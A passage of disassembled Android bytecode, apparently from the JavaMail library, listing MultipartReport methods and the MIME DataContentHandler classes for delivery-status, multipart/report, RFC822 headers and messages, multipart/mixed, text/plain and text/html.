:50
00000050  const-string            v1, "message/rfc822"
00000054  invoke-virtual          MimeBodyPart->setContent(Object, String)V, v0, p1, v1
:5A
0000005A  goto                    :40
          .catchall {:6 .. :20} :4A
          .catchall {:24 .. :48} :4A
          .catchall {:50 .. :5A} :4A
.end method

.method public declared-synchronized setSubType(String)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, MessagingException
00000006  const-string            v1, "Can\'t change subtype of MultipartReport"
0000000A  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000010  throw                   v0
:12
00000012  move-exception          v0
00000014  monitor-exit            p0
00000016  throw                   v0
          .catchall {:2 .. :12} :12
.end method

.method public declared-synchronized setText(String)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, MimeBodyPart
00000006  invoke-direct           MimeBodyPart-><init>()V, v0
0000000C  invoke-virtual          MimeBodyPart->setText(String)V, v0, p1
00000012  const/4                 v1, 0x0
00000014  invoke-direct           MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
:1A
0000001A  monitor-exit            p0
0000001C  return-void
:1E
0000001E  move-exception          v0
00000020  monitor-exit            p0
00000022  throw                   v0
          .catchall {:2 .. :1A} :1E
.end method

.method public declared-synchronized setTextBodyPart(MimeBodyPart)V
          .registers 3
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
:4
00000004  invoke-direct           MultipartReport->setBodyPart(BodyPart, I)V, p0, p1, v0
:A
0000000A  monitor-exit            p0
0000000C  return-void
:E
0000000E  move-exception          v0
00000010  monitor-exit            p0
00000012  throw                   v0
          .catchall {:4 .. :A} :E
.end method

#--------------------------------------------------------------------------------
.class public abstract interface DataContentHandler
.super Object
.source ""

.method public abstract getContent(DataSource)Object
.end method

.method public abstract getTransferData(DataFlavor, DataSource)Object
.end method

.method public abstract getTransferDataFlavors()[DataFlavor
.end method

.method public abstract writeTo(Object, String, OutputStream)V
.end method

#--------------------------------------------------------------------------------
.class public message_deliverystatus
.super Object
.source ""

.implements DataContentHandler

.field ourDataFlavor:ActivationDataFlavor

.method public constructor <init>()V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, ActivationDataFlavor
0000000A  const-class             v1, DeliveryStatus
0000000E  const-string            v2, "message/delivery-status"
00000012  const-string            v3, "Delivery Status"
00000016  invoke-direct           ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
0000001C  iput-object             v0, p0, message_deliverystatus->ourDataFlavor:ActivationDataFlavor
00000020  return-void
.end method

.method public getContent(DataSource)Object
          .registers 6
00000000  new-instance            v0, DeliveryStatus
00000004  invoke-interface        DataSource->getInputStream()InputStream, p1
0000000A  move-result-object      v1
0000000C  invoke-direct           DeliveryStatus-><init>(InputStream)V, v0, v1
:12
00000012  return-object           v0
:14
00000014  move-exception          v0
00000016  new-instance            v1, IOException
0000001A  new-instance            v2, StringBuilder
0000001E  const-string            v3, "Exception creating DeliveryStatus in message/devliery-status DataContentHandler: "
00000022  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000028  invoke-virtual          MessagingException->toString()String, v0
0000002E  move-result-object      v0
00000030  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
00000036  move-result-object      v0
00000038  invoke-virtual          StringBuilder->toString()String, v0
0000003E  move-result-object      v0
00000040  invoke-direct           IOException-><init>(String)V, v1, v0
00000046  throw                   v1
          .catch MessagingException {:0 .. :12} :14
.end method

.method public getTransferData(DataFlavor, DataSource)Object
          .registers 4
00000000  iget-object             v0, p0, message_deliverystatus->ourDataFlavor:ActivationDataFlavor
00000004  invoke-virtual          ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000A  move-result             v0
0000000C  if-eqz                  v0, :1A
:10
00000010  invoke-virtual          message_deliverystatus->getContent(DataSource)Object, p0, p2
00000016  move-result-object      v0
:18
00000018  return-object           v0
:1A
0000001A  const/4                 v0, 0x0
0000001C  goto                    :18
.end method

.method public getTransferDataFlavors()[DataFlavor
          .registers 4
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [DataFlavor
00000006  const/4                 v1, 0x0
00000008  iget-object             v2, p0, message_deliverystatus->ourDataFlavor:ActivationDataFlavor
0000000C  aput-object             v2, v0, v1
00000010  return-object           v0
.end method

.method public writeTo(Object, String, OutputStream)V
          .registers 6
00000000  instance-of             v0, p1, DeliveryStatus
00000004  if-eqz                  v0, :2A
:8
00000008  check-cast              p1, DeliveryStatus
:C
0000000C  invoke-virtual          DeliveryStatus->writeTo(OutputStream)V, p1, p3
:12
00000012  return-void
:14
00000014  move-exception          v0
00000016  new-instance            v1, IOException
0000001A  invoke-virtual          MessagingException->toString()String, v0
00000020  move-result-object      v0
00000022  invoke-direct           IOException-><init>(String)V, v1, v0
00000028  throw                   v1
:2A
0000002A  new-instance            v0, IOException
0000002E  const-string            v1, "unsupported object"
00000032  invoke-direct           IOException-><init>(String)V, v0, v1
00000038  throw                   v0
          .catch MessagingException {:C .. :12} :14
.end method

#--------------------------------------------------------------------------------
.class public multipart_report
.super Object
.source ""

.implements DataContentHandler

.field private myDF:ActivationDataFlavor

.method public constructor <init>()V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, ActivationDataFlavor
0000000A  const-class             v1, MultipartReport
0000000E  const-string            v2, "multipart/report"
00000012  const-string            v3, "Multipart Report"
00000016  invoke-direct           ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
0000001C  iput-object             v0, p0, multipart_report->myDF:ActivationDataFlavor
00000020  return-void
.end method

.method public getContent(DataSource)Object
          .registers 5
00000000  new-instance            v0, MultipartReport
00000004  invoke-direct           MultipartReport-><init>(DataSource)V, v0, p1
:A
0000000A  return-object           v0
:C
0000000C  move-exception          v0
0000000E  new-instance            v1, IOException
00000012  const-string            v2, "Exception while constructing MultipartReport"
00000016  invoke-direct           IOException-><init>(String)V, v1, v2
0000001C  invoke-virtual          IOException->initCause(Throwable)Throwable, v1, v0
00000022  throw                   v1
          .catch MessagingException {:0 .. :A} :C
.end method

.method public getTransferData(DataFlavor, DataSource)Object
          .registers 4
00000000  iget-object             v0, p0, multipart_report->myDF:ActivationDataFlavor
00000004  invoke-virtual          ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000A  move-result             v0
0000000C  if-eqz                  v0, :1A
:10
00000010  invoke-virtual          multipart_report->getContent(DataSource)Object, p0, p2
00000016  move-result-object      v0
:18
00000018  return-object           v0
:1A
0000001A  const/4                 v0, 0x0
0000001C  goto                    :18
.end method

.method public getTransferDataFlavors()[DataFlavor
          .registers 4
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [DataFlavor
00000006  const/4                 v1, 0x0
00000008  iget-object             v2, p0, multipart_report->myDF:ActivationDataFlavor
0000000C  aput-object             v2, v0, v1
00000010  return-object           v0
.end method

.method public writeTo(Object, String, OutputStream)V
          .registers 6
00000000  instance-of             v0, p1, MultipartReport
00000004  if-eqz                  v0, :12
:8
00000008  check-cast              p1, MultipartReport
0000000C  invoke-virtual          MultipartReport->writeTo(OutputStream)V, p1, p3
:12
00000012  return-void
:14
00000014  move-exception          v0
00000016  new-instance            v1, IOException
0000001A  invoke-virtual          MessagingException->toString()String, v0
00000020  move-result-object      v0
00000022  invoke-direct           IOException-><init>(String)V, v1, v0
00000028  throw                   v1
          .catch MessagingException {:8 .. :12} :14
.end method

#--------------------------------------------------------------------------------
.class public text_rfc822headers
.super Object
.source ""

.implements DataContentHandler

.field private static myDF:ActivationDataFlavor
.field private static myDFs:ActivationDataFlavor

.method static constructor <clinit>()V
          .registers 4
00000000  new-instance            v0, ActivationDataFlavor
00000004  const-class             v1, MessageHeaders
00000008  const-string            v2, "text/rfc822-headers"
0000000C  const-string            v3, "RFC822 headers"
00000010  invoke-direct           ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
00000016  sput-object             v0, text_rfc822headers->myDF:ActivationDataFlavor
0000001A  new-instance            v0, ActivationDataFlavor
0000001E  const-class             v1, String
00000022  const-string            v2, "text/rfc822-headers"
00000026  const-string            v3, "RFC822 headers"
0000002A  invoke-direct           ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
00000030  sput-object             v0, text_rfc822headers->myDFs:ActivationDataFlavor
00000034  return-void
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method private getCharset(String)String
          .registers 4
00000000  new-instance            v0, ContentType
00000004  invoke-direct           ContentType-><init>(String)V, v0, p1
0000000A  const-string            v1, "charset"
0000000E  invoke-virtual          ContentType->getParameter(String)String, v0, v1
00000014  move-result-object      v0
00000016  if-nez                  v0, :1E
:1A
0000001A  const-string            v0, "us-ascii"
:1E
0000001E  invoke-static           MimeUtility->javaCharset(String)String, v0
:24
00000024  move-result-object      v0
:26
00000026  return-object           v0
:28
00000028  move-exception          v0
0000002A  const/4                 v0, 0x0
0000002C  goto                    :26
          .catch Exception {:0 .. :24} :28
.end method

.method private getStringContent(DataSource)Object
          .registers 9
00000000  const/high16            v6, 0x40000
00000004  const/4                 v2, 0x0
00000006  const/4                 v0, 0x0
:8
00000008  invoke-interface        DataSource->getContentType()String, p1
0000000E  move-result-object      v1
00000010  invoke-direct           text_rfc822headers->getCharset(String)String, p0, v1
00000016  move-result-object      v0
00000018  new-instance            v4, InputStreamReader
0000001C  invoke-interface        DataSource->getInputStream()InputStream, p1
00000022  move-result-object      v1
00000024  invoke-direct           InputStreamReader-><init>(InputStream, String)V, v4, v1, v0
:2A
0000002A  const/16                v0, 0x400
0000002E  new-array               v0, v0, [C
00000032  move                    v1, v2
:34
00000034  array-length            v3, v0
00000036  sub-int/2addr           v3, v1
00000038  invoke-virtual          InputStreamReader->read([C, I, I)I, v4, v0, v1, v3
0000003E  move-result             v3
00000040  const/4                 v5, 0xFFFFFFFFFFFFFFFF
00000042  if-ne                   v3, v5, :60
:46
00000046  new-instance            v3, String
0000004A  invoke-direct           String-><init>([C, I, I)V, v3, v0, v2, v1
00000050  return-object           v3
:52
00000052  move-exception          v1
00000054  new-instance            v1, UnsupportedEncodingException
00000058  invoke-direct           UnsupportedEncodingException-><init>(String)V, v1, v0
0000005E  throw                   v1
:60
00000060  add-int/2addr           v3, v1
00000062  array-length            v1, v0
00000064  if-lt                   v3, v1, :84
:68
00000068  array-length            v1, v0
0000006A  if-ge                   v1, v6, :80
:6E
0000006E  add-int/2addr           v1, v1
:70
00000070  new-array               v1, v1, [C
00000074  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v0, v2, v1, v2, v3
0000007A  move-object             v0, v1
0000007C  move                    v1, v3
0000007E  goto                    :34
:80
00000080  add-int/2addr           v1, v6
00000082  goto                    :70
:84
00000084  move                    v1, v3
00000086  goto                    :34
          .catch IllegalArgumentException {:8 .. :2A} :52
.end method

.method public getContent(DataSource)Object
          .registers 6
00000000  new-instance            v0, MessageHeaders
00000004  invoke-interface        DataSource->getInputStream()InputStream, p1
0000000A  move-result-object      v1
0000000C  invoke-direct           MessageHeaders-><init>(InputStream)V, v0, v1
:12
00000012  return-object           v0
:14
00000014  move-exception          v0
00000016  new-instance            v1, IOException
0000001A  new-instance            v2, StringBuilder
0000001E  const-string            v3, "Exception creating MessageHeaders: "
00000022  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000028  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
0000002E  move-result-object      v0
00000030  invoke-virtual          StringBuilder->toString()String, v0
00000036  move-result-object      v0
00000038  invoke-direct           IOException-><init>(String)V, v1, v0
0000003E  throw                   v1
          .catch MessagingException {:0 .. :12} :14
.end method

.method public getTransferData(DataFlavor, DataSource)Object
          .registers 4
00000000  sget-object             v0, text_rfc822headers->myDF:ActivationDataFlavor
00000004  invoke-virtual          ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000A  move-result             v0
0000000C  if-eqz                  v0, :1A
:10
00000010  invoke-virtual          text_rfc822headers->getContent(DataSource)Object, p0, p2
00000016  move-result-object      v0
:18
00000018  return-object           v0
:1A
0000001A  sget-object             v0, text_rfc822headers->myDFs:ActivationDataFlavor
0000001E  invoke-virtual          ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
00000024  move-result             v0
00000026  if-eqz                  v0, :34
:2A
0000002A  invoke-direct           text_rfc822headers->getStringContent(DataSource)Object, p0, p2
00000030  move-result-object      v0
00000032  goto                    :18
:34
00000034  const/4                 v0, 0x0
00000036  goto                    :18
.end method

.method public getTransferDataFlavors()[DataFlavor
          .registers 4
00000000  const/4                 v0, 0x2
00000002  new-array               v0, v0, [DataFlavor
00000006  const/4                 v1, 0x0
00000008  sget-object             v2, text_rfc822headers->myDF:ActivationDataFlavor
0000000C  aput-object             v2, v0, v1
00000010  const/4                 v1, 0x1
00000012  sget-object             v2, text_rfc822headers->myDFs:ActivationDataFlavor
00000016  aput-object             v2, v0, v1
0000001A  return-object           v0
.end method

.method public writeTo(Object, String, OutputStream)V
          .registers 8
00000000  instance-of             v0, p1, MessageHeaders
00000004  if-eqz                  v0, :56
:8
00000008  check-cast              p1, MessageHeaders
:C
0000000C  invoke-virtual          MessageHeaders->writeTo(OutputStream)V, p1, p3
:12
00000012  return-void
:14
00000014  move-exception          v1
00000016  invoke-virtual          MessagingException->getNextException()Exception, v1
0000001C  move-result-object      v0
0000001E  instance-of             v2, v0, IOException
00000022  if-eqz                  v2, :2C
:26
00000026  check-cast              v0, IOException
0000002A  throw                   v0
:2C
0000002C  new-instance            v0, IOException
00000030  new-instance            v2, StringBuilder
00000034  const-string            v3, "Exception writing headers: "
00000038  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000003E  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v1
00000044  move-result-object      v1
00000046  invoke-virtual          StringBuilder->toString()String, v1
0000004C  move-result-object      v1
0000004E  invoke-direct           IOException-><init>(String)V, v0, v1
00000054  throw                   v0
:56
00000056  instance-of             v0, p1, String
0000005A  if-nez                  v0, :C4
:5E
0000005E  new-instance            v0, IOException
00000062  new-instance            v1, StringBuilder
00000066  const-string            v2, "\""
0000006A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000070  sget-object             v2, text_rfc822headers->myDFs:ActivationDataFlavor
00000074  invoke-virtual          ActivationDataFlavor->getMimeType()String, v2
0000007A  move-result-object      v2
0000007C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000082  move-result-object      v1
00000084  const-string            v2, "\" DataContentHandler requires String object, "
00000088  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000008E  move-result-object      v1
00000090  const-string            v2, "was given object of type "
00000094  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000009A  move-result-object      v1
0000009C  invoke-virtual          Object->getClass()Class, p1
000000A2  move-result-object      v2
000000A4  invoke-virtual          Class->toString()String, v2
000000AA  move-result-object      v2
000000AC  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000B2  move-result-object      v1
000000B4  invoke-virtual          StringBuilder->toString()String, v1
000000BA  move-result-object      v1
000000BC  invoke-direct           IOException-><init>(String)V, v0, v1
000000C2  throw                   v0
:C4
000000C4  const/4                 v0, 0x0
:C6
000000C6  invoke-direct           text_rfc822headers->getCharset(String)String, p0, p2
000000CC  move-result-object      v0
000000CE  new-instance            v1, OutputStreamWriter
000000D2  invoke-direct           OutputStreamWriter-><init>(OutputStream, String)V, v1, p3, v0
:D8
000000D8  check-cast              p1, String
000000DC  const/4                 v0, 0x0
000000DE  invoke-virtual          String->length()I, p1
000000E4  move-result             v2
000000E6  invoke-virtual          OutputStreamWriter->write(String, I, I)V, v1, p1, v0, v2
000000EC  invoke-virtual          OutputStreamWriter->flush()V, v1
000000F2  goto                    :12
:F4
000000F4  move-exception          v1
000000F6  new-instance            v1, UnsupportedEncodingException
000000FA  invoke-direct           UnsupportedEncodingException-><init>(String)V, v1, v0
00000100  throw                   v1
          .catch MessagingException {:C .. :12} :14
          .catch IllegalArgumentException {:C6 .. :D8} :F4
.end method

#--------------------------------------------------------------------------------
.class public message_rfc822
.super Object
.source ""

.implements DataContentHandler

.field ourDataFlavor:ActivationDataFlavor

.method public constructor <init>()V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, ActivationDataFlavor
0000000A  const-class             v1, Message
0000000E  const-string            v2, "message/rfc822"
00000012  const-string            v3, "Message"
00000016  invoke-direct           ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
0000001C  iput-object             v0, p0, message_rfc822->ourDataFlavor:ActivationDataFlavor
00000020  return-void
.end method

.method public getContent(DataSource)Object
          .registers 7
00000000  instance-of             v1, p1, MessageAware
00000004  if-eqz                  v1, :34
:8
00000008  move-object             v0, p1
0000000A  check-cast              v0, MessageAware
0000000E  move-object             v1, v0
00000010  invoke-interface        MessageAware->getMessageContext()MessageContext, v1
00000016  move-result-object      v1
00000018  invoke-virtual          MessageContext->getSession()Session, v1
0000001E  move-result-object      v1
:20
00000020  new-instance            v2, MimeMessage
00000024  invoke-interface        DataSource->getInputStream()InputStream, p1
0000002A  move-result-object      v3
0000002C  invoke-direct           MimeMessage-><init>(Session, InputStream)V, v2, v1, v3
00000032  return-object           v2
:34
00000034  new-instance            v1, Properties
00000038  invoke-direct           Properties-><init>()V, v1
0000003E  const/4                 v2, 0x0
00000040  invoke-static           Session->getDefaultInstance(Properties, Authenticator)Session, v1, v2
:46
00000046  move-result-object      v1
00000048  goto                    :20
:4A
0000004A  move-exception          v1
0000004C  new-instance            v2, IOException
00000050  new-instance            v3, StringBuilder
00000054  const-string            v4, "Exception creating MimeMessage in message/rfc822 DataContentHandler: "
00000058  invoke-direct           StringBuilder-><init>(String)V, v3, v4
0000005E  invoke-virtual          MessagingException->toString()String, v1
00000064  move-result-object      v1
00000066  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v1
0000006C  move-result-object      v1
0000006E  invoke-virtual          StringBuilder->toString()String, v1
00000074  move-result-object      v1
00000076  invoke-direct           IOException-><init>(String)V, v2, v1
0000007C  throw                   v2
          .catch MessagingException {:0 .. :46} :4A
.end method

.method public getTransferData(DataFlavor, DataSource)Object
          .registers 4
00000000  iget-object             v0, p0, message_rfc822->ourDataFlavor:ActivationDataFlavor
00000004  invoke-virtual          ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000A  move-result             v0
0000000C  if-eqz                  v0, :1A
:10
00000010  invoke-virtual          message_rfc822->getContent(DataSource)Object, p0, p2
00000016  move-result-object      v0
:18
00000018  return-object           v0
:1A
0000001A  const/4                 v0, 0x0
0000001C  goto                    :18
.end method

.method public getTransferDataFlavors()[DataFlavor
          .registers 4
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [DataFlavor
00000006  const/4                 v1, 0x0
00000008  iget-object             v2, p0, message_rfc822->ourDataFlavor:ActivationDataFlavor
0000000C  aput-object             v2, v0, v1
00000010  return-object           v0
.end method

.method public writeTo(Object, String, OutputStream)V
          .registers 6
00000000  instance-of             v0, p1, Message
00000004  if-eqz                  v0, :2A
:8
00000008  check-cast              p1, Message
:C
0000000C  invoke-virtual          Message->writeTo(OutputStream)V, p1, p3
:12
00000012  return-void
:14
00000014  move-exception          v0
00000016  new-instance            v1, IOException
0000001A  invoke-virtual          MessagingException->toString()String, v0
00000020  move-result-object      v0
00000022  invoke-direct           IOException-><init>(String)V, v1, v0
00000028  throw                   v1
:2A
0000002A  new-instance            v0, IOException
0000002E  const-string            v1, "unsupported object"
00000032  invoke-direct           IOException-><init>(String)V, v0, v1
00000038  throw                   v0
          .catch MessagingException {:C .. :12} :14
.end method

#--------------------------------------------------------------------------------
.class public multipart_mixed
.super Object
.source ""

.implements DataContentHandler

.field private myDF:ActivationDataFlavor

.method public constructor <init>()V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, ActivationDataFlavor
0000000A  const-class             v1, MimeMultipart
0000000E  const-string            v2, "multipart/mixed"
00000012  const-string            v3, "Multipart"
00000016  invoke-direct           ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
0000001C  iput-object             v0, p0, multipart_mixed->myDF:ActivationDataFlavor
00000020  return-void
.end method

.method public getContent(DataSource)Object
          .registers 5
00000000  new-instance            v0, MimeMultipart
00000004  invoke-direct           MimeMultipart-><init>(DataSource)V, v0, p1
:A
0000000A  return-object           v0
:C
0000000C  move-exception          v0
0000000E  new-instance            v1, IOException
00000012  const-string            v2, "Exception while constructing MimeMultipart"
00000016  invoke-direct           IOException-><init>(String)V, v1, v2
0000001C  invoke-virtual          IOException->initCause(Throwable)Throwable, v1, v0
00000022  throw                   v1
          .catch MessagingException {:0 .. :A} :C
.end method

.method public getTransferData(DataFlavor, DataSource)Object
          .registers 4
00000000  iget-object             v0, p0, multipart_mixed->myDF:ActivationDataFlavor
00000004  invoke-virtual          ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000A  move-result             v0
0000000C  if-eqz                  v0, :1A
:10
00000010  invoke-virtual          multipart_mixed->getContent(DataSource)Object, p0, p2
00000016  move-result-object      v0
:18
00000018  return-object           v0
:1A
0000001A  const/4                 v0, 0x0
0000001C  goto                    :18
.end method

.method public getTransferDataFlavors()[DataFlavor
          .registers 4
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [DataFlavor
00000006  const/4                 v1, 0x0
00000008  iget-object             v2, p0, multipart_mixed->myDF:ActivationDataFlavor
0000000C  aput-object             v2, v0, v1
00000010  return-object           v0
.end method

.method public writeTo(Object, String, OutputStream)V
          .registers 6
00000000  instance-of             v0, p1, MimeMultipart
00000004  if-eqz                  v0, :12
:8
00000008  check-cast              p1, MimeMultipart
0000000C  invoke-virtual          MimeMultipart->writeTo(OutputStream)V, p1, p3
:12
00000012  return-void
:14
00000014  move-exception          v0
00000016  new-instance            v1, IOException
0000001A  invoke-virtual          MessagingException->toString()String, v0
00000020  move-result-object      v0
00000022  invoke-direct           IOException-><init>(String)V, v1, v0
00000028  throw                   v1
          .catch MessagingException {:8 .. :12} :14
.end method

#--------------------------------------------------------------------------------
.class public text_plain
.super Object
.source ""

.implements DataContentHandler

.field private static myDF:ActivationDataFlavor

.method static constructor <clinit>()V
          .registers 4
00000000  new-instance            v0, ActivationDataFlavor
00000004  const-class             v1, String
00000008  const-string            v2, "text/plain"
0000000C  const-string            v3, "Text String"
00000010  invoke-direct           ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
00000016  sput-object             v0, text_plain->myDF:ActivationDataFlavor
0000001A  return-void
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method private getCharset(String)String
          .registers 4
00000000  new-instance            v0, ContentType
00000004  invoke-direct           ContentType-><init>(String)V, v0, p1
0000000A  const-string            v1, "charset"
0000000E  invoke-virtual          ContentType->getParameter(String)String, v0, v1
00000014  move-result-object      v0
00000016  if-nez                  v0, :1E
:1A
0000001A  const-string            v0, "us-ascii"
:1E
0000001E  invoke-static           MimeUtility->javaCharset(String)String, v0
:24
00000024  move-result-object      v0
:26
00000026  return-object           v0
:28
00000028  move-exception          v0
0000002A  const/4                 v0, 0x0
0000002C  goto                    :26
          .catch Exception {:0 .. :24} :28
.end method

.method public getContent(DataSource)Object
          .registers 10
00000000  const/high16            v6, 0x40000
00000004  const/4                 v1, 0x0
00000006  const/4                 v0, 0x0
:8
00000008  invoke-interface        DataSource->getContentType()String, p1
0000000E  move-result-object      v2
00000010  invoke-direct           text_plain->getCharset(String)String, p0, v2
00000016  move-result-object      v0
00000018  new-instance            v3, InputStreamReader
0000001C  invoke-interface        DataSource->getInputStream()InputStream, p1
00000022  move-result-object      v2
00000024  invoke-direct           InputStreamReader-><init>(InputStream, String)V, v3, v2, v0
:2A
0000002A  const/16                v0, 0x400
:2E
0000002E  new-array               v0, v0, [C
00000032  move-object             v7, v0
00000034  move                    v0, v1
00000036  move-object             v1, v7
:38
00000038  array-length            v2, v1
0000003A  sub-int/2addr           v2, v0
0000003C  invoke-virtual          InputStreamReader->read([C, I, I)I, v3, v1, v0, v2
00000042  move-result             v2
00000044  const/4                 v4, 0xFFFFFFFFFFFFFFFF
00000046  if-ne                   v2, v4, :6C
:4A
0000004A  new-instance            v2, String
0000004E  const/4                 v4, 0x0
00000050  invoke-direct           String-><init>([C, I, I)V, v2, v1, v4, v0
:56
00000056  invoke-virtual          InputStreamReader->close()V, v3
:5C
0000005C  return-object           v2
:5E
0000005E  move-exception          v1
00000060  new-instance            v1, UnsupportedEncodingException
00000064  invoke-direct           UnsupportedEncodingException-><init>(String)V, v1, v0
0000006A  throw                   v1
:6C
0000006C  add-int/2addr           v2, v0
:6E
0000006E  array-length            v0, v1
00000070  if-lt                   v2, v0, :A6
:74
00000074  array-length            v0, v1
00000076  if-ge                   v0, v6, :90
:7A
0000007A  add-int/2addr           v0, v0
:7C
0000007C  new-array               v0, v0, [C
00000080  const/4                 v4, 0x0
00000082  const/4                 v5, 0x0
00000084  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v1, v4, v0, v5, v2
:8A
0000008A  move-object             v1, v0
0000008C  move                    v0, v2
0000008E  goto                    :38
:90
00000090  add-int/2addr           v0, v6
00000092  goto                    :7C
:94
00000094  move-exception          v0
:96
00000096  invoke-virtual          InputStreamReader->close()V, v3
:9C
0000009C  throw                   v0
:9E
0000009E  move-exception          v0
000000A0  goto                    :5C
:A2
000000A2  move-exception          v1
000000A4  goto                    :9C
:A6
000000A6  move                    v0, v2
000000A8  goto                    :38
          .catch IllegalArgumentException {:8 .. :2A} :5E
          .catchall {:2E .. :56} :94
          .catch IOException {:56 .. :5C} :9E
          .catchall {:6E .. :8A} :94
          .catch IOException {:96 .. :9C} :A2
.end method

.method protected getDF()ActivationDataFlavor
          .registers 2
00000000  sget-object             v0, text_plain->myDF:ActivationDataFlavor
00000004  return-object           v0
.end method

.method public getTransferData(DataFlavor, DataSource)Object
          .registers 4
00000000  invoke-virtual          text_plain->getDF()ActivationDataFlavor, p0
00000006  move-result-object      v0
00000008  invoke-virtual          ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000E  move-result             v0
00000010  if-eqz                  v0, :1E
:14
00000014  invoke-virtual          text_plain->getContent(DataSource)Object, p0, p2
0000001A  move-result-object      v0
:1C
0000001C  return-object           v0
:1E
0000001E  const/4                 v0, 0x0
00000020  goto                    :1C
.end method

.method public getTransferDataFlavors()[DataFlavor
          .registers 4
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [DataFlavor
00000006  const/4                 v1, 0x0
00000008  invoke-virtual          text_plain->getDF()ActivationDataFlavor, p0
0000000E  move-result-object      v2
00000010  aput-object             v2, v0, v1
00000014  return-object           v0
.end method

.method public writeTo(Object, String, OutputStream)V
          .registers 7
00000000  instance-of             v0, p1, String
00000004  if-nez                  v0, :72
:8
00000008  new-instance            v0, IOException
0000000C  new-instance            v1, StringBuilder
00000010  const-string            v2, "\""
00000014  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000001A  invoke-virtual          text_plain->getDF()ActivationDataFlavor, p0
00000020  move-result-object      v2
00000022  invoke-virtual          ActivationDataFlavor->getMimeType()String, v2
00000028  move-result-object      v2
0000002A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000030  move-result-object      v1
00000032  const-string            v2, "\" DataContentHandler requires String object, "
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000003C  move-result-object      v1
0000003E  const-string            v2, "was given object of type "
00000042  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000048  move-result-object      v1
0000004A  invoke-virtual          Object->getClass()Class, p1
00000050  move-result-object      v2
00000052  invoke-virtual          Class->toString()String, v2
00000058  move-result-object      v2
0000005A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000060  move-result-object      v1
00000062  invoke-virtual          StringBuilder->toString()String, v1
00000068  move-result-object      v1
0000006A  invoke-direct           IOException-><init>(String)V, v0, v1
00000070  throw                   v0
:72
00000072  const/4                 v0, 0x0
:74
00000074  invoke-direct           text_plain->getCharset(String)String, p0, p2
0000007A  move-result-object      v0
0000007C  new-instance            v1, OutputStreamWriter
00000080  invoke-direct           OutputStreamWriter-><init>(OutputStream, String)V, v1, p3, v0
:86
00000086  check-cast              p1, String
0000008A  const/4                 v0, 0x0
0000008C  invoke-virtual          String->length()I, p1
00000092  move-result             v2
00000094  invoke-virtual          OutputStreamWriter->write(String, I, I)V, v1, p1, v0, v2
0000009A  invoke-virtual          OutputStreamWriter->flush()V, v1
000000A0  return-void
:A2
000000A2  move-exception          v1
000000A4  new-instance            v1, UnsupportedEncodingException
000000A8  invoke-direct           UnsupportedEncodingException-><init>(String)V, v1, v0
000000AE  throw                   v1
          .catch IllegalArgumentException {:74 .. :86} :A2
.end method

#--------------------------------------------------------------------------------
.class public text_html
.super text_plain
.source ""

.field private static myDF:ActivationDataFlavor

.method static constructor <clinit>()V
          .registers 4
00000000  new-instance            v0, ActivationDataFlavor
00000004  const-class             v1, String
00000008  const-string            v2, "text/html"
0000000C  const-string            v3, "HTML String"
00000010  invoke-direct           ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
00000016  sput-object             v0, text_html->myDF:ActivationDataFlavor
0000001A  return-void
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           text_plain-><init>()V, p0
00000006  return-void
.end method

.method protected getDF()ActivationDataFlavor
          .registers 2
00000000  sget-object             v0, text_html->myDF:ActivationDataFlavor
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public text_xml
.super text_plain
.source ""

.field private static myDF:ActivationDataFlavor

